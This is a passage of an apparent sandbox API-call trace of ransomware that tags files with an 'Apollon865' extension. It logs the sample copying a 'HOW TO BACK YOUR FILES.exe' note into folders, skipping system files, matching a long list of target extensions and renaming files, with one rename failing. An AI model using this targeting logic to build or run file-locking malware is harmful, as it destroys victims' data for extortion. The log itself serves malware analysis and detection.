	[0052.553] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37650af0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x37650af0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0052.553] FindClose (in: hFindFile=0x5ca310 | out: hFindFile=0x5ca310) returned 1
	[0052.553] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7ad0
	[0052.553] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList"
	[0052.553] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599558 | out: hHeap=0x580000) returned 1
	[0052.553] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ac8 | out: hHeap=0x580000) returned 1
	[0052.553] lstrlenW (lpString="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList") returned 79
	[0052.553] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList" | out: lpString1="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList"
	[0052.553] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.553] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\redistlist\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.559] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.559] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x37650af0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37650af0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0052.559] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.559] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.559] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0052.559] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x37650af0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37650af0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.560] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.560] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0052.560] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0052.560] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0052.560] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58775f6b, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x58775f6b, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x77e270fc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x2fa0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="")) returned 1
	[0052.560] lstrcmpiW (lpString1="FrameworkList.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.560] lstrcmpiW (lpString1="FrameworkList.xml", lpString2="Apollon865.txt.exe") returned 1
	[0052.560] lstrcmpiW (lpString1="FrameworkList.xml", lpString2=".") returned 1
	[0052.560] lstrcmpiW (lpString1="FrameworkList.xml", lpString2="..") returned 1
	[0052.560] lstrcmpiW (lpString1="FrameworkList.xml", lpString2="windows") returned -1
	[0052.560] lstrcmpiW (lpString1="FrameworkList.xml", lpString2="bootmgr") returned 1
	[0052.560] lstrcmpiW (lpString1="FrameworkList.xml", lpString2="temp") returned -1
	[0052.560] lstrcmpiW (lpString1="FrameworkList.xml", lpString2="pagefile.sys") returned -1
	[0052.560] lstrcmpiW (lpString1="FrameworkList.xml", lpString2="boot") returned 1
	[0052.560] lstrcmpiW (lpString1="FrameworkList.xml", lpString2="ids.txt") returned -1
	[0052.560] lstrcmpiW (lpString1="FrameworkList.xml", lpString2="ntuser.dat") returned -1
	[0052.560] lstrcmpiW (lpString1="FrameworkList.xml", lpString2="perflogs") returned -1
	[0052.560] lstrcmpiW (lpString1="FrameworkList.xml", lpString2="MSBuild") returned -1
	[0052.560] lstrlenW (lpString="FrameworkList.xml") returned 17
	[0052.560] lstrlenW (lpString="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\*") returned 81
	[0052.560] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="FrameworkList.xml" | out: lpString1="FrameworkList.xml") returned="FrameworkList.xml"
	[0052.560] lstrlenW (lpString="FrameworkList.xml") returned 17
	[0052.560] lstrlenW (lpString="Apollon865") returned 10
	[0052.560] lstrcmpiW (lpString1="rkList.xml", lpString2="Apollon865") returned 1
	[0052.560] lstrlenW (lpString=".dll") returned 4
	[0052.560] lstrcmpiW (lpString1="FrameworkList.xml", lpString2=".dll") returned 1
	[0052.560] lstrlenW (lpString=".lnk") returned 4
	[0052.560] lstrcmpiW (lpString1="FrameworkList.xml", lpString2=".lnk") returned 1
	[0052.560] lstrlenW (lpString=".ini") returned 4
	[0052.560] lstrcmpiW (lpString1="FrameworkList.xml", lpString2=".ini") returned 1
	[0052.560] lstrlenW (lpString=".sys") returned 4
	[0052.560] lstrcmpiW (lpString1="FrameworkList.xml", lpString2=".sys") returned 1
	[0052.560] lstrlenW (lpString="FrameworkList.xml") returned 17
	[0052.560] lstrlenW (lpString="bak") returned 3
	[0052.560] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0052.561] lstrlenW (lpString="ba_") returned 3
	[0052.561] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0052.561] lstrlenW (lpString="dbb") returned 3
	[0052.561] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0052.561] lstrlenW (lpString="vmdk") returned 4
	[0052.561] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0052.561] lstrlenW (lpString="rar") returned 3
	[0052.561] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0052.561] lstrlenW (lpString="zip") returned 3
	[0052.561] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0052.561] lstrlenW (lpString="tgz") returned 3
	[0052.561] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0052.561] lstrlenW (lpString="vbox") returned 4
	[0052.561] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0052.561] lstrlenW (lpString="vdi") returned 3
	[0052.561] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0052.561] lstrlenW (lpString="vhd") returned 3
	[0052.561] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0052.561] lstrlenW (lpString="vhdx") returned 4
	[0052.561] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0052.561] lstrlenW (lpString="avhd") returned 4
	[0052.561] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0052.561] lstrlenW (lpString="db") returned 2
	[0052.561] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0052.561] lstrlenW (lpString="db2") returned 3
	[0052.561] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0052.561] lstrlenW (lpString="db3") returned 3
	[0052.561] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0052.561] lstrlenW (lpString="dbf") returned 3
	[0052.561] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0052.561] lstrlenW (lpString="mdf") returned 3
	[0052.561] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0052.561] lstrlenW (lpString="mdb") returned 3
	[0052.561] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0052.561] lstrlenW (lpString="sql") returned 3
	[0052.562] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0052.562] lstrlenW (lpString="sqlite") returned 6
	[0052.562] lstrcmpiW (lpString1="st.xml", lpString2="sqlite") returned 1
	[0052.562] lstrlenW (lpString="sqlite3") returned 7
	[0052.562] lstrcmpiW (lpString1="ist.xml", lpString2="sqlite3") returned -1
	[0052.562] lstrlenW (lpString="sqlitedb") returned 8
	[0052.562] lstrcmpiW (lpString1="List.xml", lpString2="sqlitedb") returned -1
	[0052.562] lstrlenW (lpString="xml") returned 3
	[0052.562] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0052.562] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\FrameworkList.xml.Apollon865") returned 108
	[0052.562] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\FrameworkList.xml" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\redistlist\\frameworklist.xml"), lpNewFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\FrameworkList.xml.Apollon865" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\redistlist\\frameworklist.xml.apollon865"), dwFlags=0x1) returned 0
	[0052.562] GetLastError () returned 0x5
	[0052.562] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\FrameworkList.xml MoveFileEx error 5\r\n") returned 126
	[0052.562] lstrlenA (lpString="[ERROR] C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\FrameworkList.xml MoveFileEx error 5\r\n") returned 126
	[0052.562] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0052.562] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x21cf
	[0052.562] WriteFile (in: hFile=0x14c, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x7e, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x7e, lpOverlapped=0x0) returned 1
	[0052.562] CloseHandle (hObject=0x14c) returned 1
	[0052.563] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0052.563] CloseHandle (hObject=0x0) returned 0
	[0052.563] CloseHandle (hObject=0x0) returned 0
	[0052.563] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37650af0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x37650af0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0052.563] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0052.563] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37650af0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x37650af0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0052.563] FindClose (in: hFindFile=0x5ca310 | out: hFindFile=0x5ca310) returned 1
	[0052.563] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c30
	[0052.563] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0"
	[0052.563] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5994c0 | out: hHeap=0x580000) returned 1
	[0052.563] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0052.563] lstrlenW (lpString="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0") returned 68
	[0052.563] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0" | out: lpString1="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0"
	[0052.563] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.563] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.569] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.569] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x37676c50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37676c50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0052.569] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.569] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.569] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0052.569] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x37676c50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37676c50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.569] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.569] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0052.569] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0052.569] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0052.569] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37676c50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x37676c50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0052.569] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0052.569] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa5f4b44, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xaa5f4b44, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xaaa915ec, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x92000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PresentationBuildTasks.dll", cAlternateFileName="")) returned 1
	[0052.569] lstrcmpiW (lpString1="PresentationBuildTasks.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0052.569] lstrcmpiW (lpString1="PresentationBuildTasks.dll", lpString2="Apollon865.txt.exe") returned 1
	[0052.570] lstrcmpiW (lpString1="PresentationBuildTasks.dll", lpString2=".") returned 1
	[0052.570] lstrcmpiW (lpString1="PresentationBuildTasks.dll", lpString2="..") returned 1
	[0052.570] lstrcmpiW (lpString1="PresentationBuildTasks.dll", lpString2="windows") returned -1
	[0052.570] lstrcmpiW (lpString1="PresentationBuildTasks.dll", lpString2="bootmgr") returned 1
	[0052.570] lstrcmpiW (lpString1="PresentationBuildTasks.dll", lpString2="temp") returned -1
	[0052.570] lstrcmpiW (lpString1="PresentationBuildTasks.dll", lpString2="pagefile.sys") returned 1
	[0052.570] lstrcmpiW (lpString1="PresentationBuildTasks.dll", lpString2="boot") returned 1
	[0052.570] lstrcmpiW (lpString1="PresentationBuildTasks.dll", lpString2="ids.txt") returned 1
	[0052.570] lstrcmpiW (lpString1="PresentationBuildTasks.dll", lpString2="ntuser.dat") returned 1
	[0052.570] lstrcmpiW (lpString1="PresentationBuildTasks.dll", lpString2="perflogs") returned 1
	[0052.570] lstrcmpiW (lpString1="PresentationBuildTasks.dll", lpString2="MSBuild") returned 1
	[0052.570] lstrlenW (lpString="PresentationBuildTasks.dll") returned 26
	[0052.570] lstrlenW (lpString="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\*") returned 70
	[0052.570] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="PresentationBuildTasks.dll" | out: lpString1="PresentationBuildTasks.dll") returned="PresentationBuildTasks.dll"
	[0052.570] lstrlenW (lpString="PresentationBuildTasks.dll") returned 26
	[0052.570] lstrlenW (lpString="Apollon865") returned 10
	[0052.570] lstrcmpiW (lpString1="dTasks.dll", lpString2="Apollon865") returned 1
	[0052.570] lstrlenW (lpString=".dll") returned 4
	[0052.570] lstrcmpiW (lpString1="PresentationBuildTasks.dll", lpString2=".dll") returned 1
	[0052.570] lstrlenW (lpString=".lnk") returned 4
	[0052.570] lstrcmpiW (lpString1="PresentationBuildTasks.dll", lpString2=".lnk") returned 1
	[0052.570] lstrlenW (lpString=".ini") returned 4
	[0052.570] lstrcmpiW (lpString1="PresentationBuildTasks.dll", lpString2=".ini") returned 1
	[0052.570] lstrlenW (lpString=".sys") returned 4
	[0052.570] lstrcmpiW (lpString1="PresentationBuildTasks.dll", lpString2=".sys") returned 1
	[0052.570] lstrlenW (lpString="PresentationBuildTasks.dll") returned 26
	[0052.570] lstrlenW (lpString="bak") returned 3
	[0052.570] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0052.570] lstrlenW (lpString="ba_") returned 3
	[0052.570] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0052.570] lstrlenW (lpString="dbb") returned 3
	[0052.571] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0052.571] lstrlenW (lpString="vmdk") returned 4
	[0052.571] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1
	[0052.571] lstrlenW (lpString="rar") returned 3
	[0052.571] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0052.571] lstrlenW (lpString="zip") returned 3
	[0052.571] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0052.571] lstrlenW (lpString="tgz") returned 3
	[0052.571] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0052.571] lstrlenW (lpString="vbox") returned 4
	[0052.571] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1
	[0052.571] lstrlenW (lpString="vdi") returned 3
	[0052.571] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0052.571] lstrlenW (lpString="vhd") returned 3
	[0052.571] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0052.571] lstrlenW (lpString="vhdx") returned 4
	[0052.571] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1
	[0052.571] lstrlenW (lpString="avhd") returned 4
	[0052.571] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1
	[0052.571] lstrlenW (lpString="db") returned 2
	[0052.571] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0052.571] lstrlenW (lpString="db2") returned 3
	[0052.571] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0052.571] lstrlenW (lpString="db3") returned 3
	[0052.571] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0052.571] lstrlenW (lpString="dbf") returned 3
	[0052.571] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0052.571] lstrlenW (lpString="mdf") returned 3
	[0052.571] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0052.571] lstrlenW (lpString="mdb") returned 3
	[0052.571] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0052.571] lstrlenW (lpString="sql") returned 3
	[0052.571] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0052.571] lstrlenW (lpString="sqlite") returned 6
	[0052.572] lstrcmpiW (lpString1="ks.dll", lpString2="sqlite") returned -1
	[0052.572] lstrlenW (lpString="sqlite3") returned 7
	[0052.572] lstrcmpiW (lpString1="sks.dll", lpString2="sqlite3") returned -1
	[0052.572] lstrlenW (lpString="sqlitedb") returned 8
	[0052.572] lstrcmpiW (lpString1="asks.dll", lpString2="sqlitedb") returned -1
	[0052.572] lstrlenW (lpString="xml") returned 3
	[0052.572] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0052.572] lstrlenW (lpString="$er") returned 3
	[0052.572] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0052.572] lstrlenW (lpString="4dd") returned 3
	[0052.572] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0052.572] lstrlenW (lpString="4dl") returned 3
	[0052.572] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0052.572] lstrlenW (lpString="^^^") returned 3
	[0052.572] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0052.572] lstrlenW (lpString="abs") returned 3
	[0052.572] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0052.572] lstrlenW (lpString="abx") returned 3
	[0052.572] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0052.572] lstrlenW (lpString="accdb") returned 5
	[0052.572] lstrcmpiW (lpString1="s.dll", lpString2="accdb") returned 1
	[0052.572] lstrlenW (lpString="accdc") returned 5
	[0052.572] lstrcmpiW (lpString1="s.dll", lpString2="accdc") returned 1
	[0052.572] lstrlenW (lpString="accde") returned 5
	[0052.572] lstrcmpiW (lpString1="s.dll", lpString2="accde") returned 1
	[0052.572] lstrlenW (lpString="accdr") returned 5
	[0052.572] lstrcmpiW (lpString1="s.dll", lpString2="accdr") returned 1
	[0052.572] lstrlenW (lpString="accdt") returned 5
	[0052.572] lstrcmpiW (lpString1="s.dll", lpString2="accdt") returned 1
	[0052.572] lstrlenW (lpString="accdw") returned 5
	[0052.572] lstrcmpiW (lpString1="s.dll", lpString2="accdw") returned 1
	[0052.572] lstrlenW (lpString="accft") returned 5
	[0052.573] lstrcmpiW (lpString1="s.dll", lpString2="accft") returned 1
	[0052.573] lstrlenW (lpString="adb") returned 3
	[0052.573] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0052.573] lstrlenW (lpString="adb") returned 3
	[0052.573] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0052.573] lstrlenW (lpString="ade") returned 3
	[0052.573] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0052.573] lstrlenW (lpString="adf") returned 3
	[0052.573] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0052.573] lstrlenW (lpString="adn") returned 3
	[0052.573] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0052.573] lstrlenW (lpString="adp") returned 3
	[0052.573] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0052.573] lstrlenW (lpString="alf") returned 3
	[0052.573] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0052.573] lstrlenW (lpString="ask") returned 3
	[0052.573] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0052.573] lstrlenW (lpString="btr") returned 3
	[0052.573] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0052.573] lstrlenW (lpString="cat") returned 3
	[0052.573] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0052.573] lstrlenW (lpString="cdb") returned 3
	[0052.573] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0052.573] lstrlenW (lpString="ckp") returned 3
	[0052.573] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0052.573] lstrlenW (lpString="cma") returned 3
	[0052.573] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0052.573] lstrlenW (lpString="cpd") returned 3
	[0052.573] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0052.573] lstrlenW (lpString="dacpac") returned 6
	[0052.573] lstrcmpiW (lpString1="ks.dll", lpString2="dacpac") returned 1
	[0052.573] lstrlenW (lpString="dad") returned 3
	[0052.573] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0052.573] lstrlenW (lpString="dadiagrams") returned 10
	[0052.574] lstrcmpiW (lpString1="dTasks.dll", lpString2="dadiagrams") returned 1
	[0052.574] lstrlenW (lpString="daschema") returned 8
	[0052.574] lstrcmpiW (lpString1="asks.dll", lpString2="daschema") returned -1
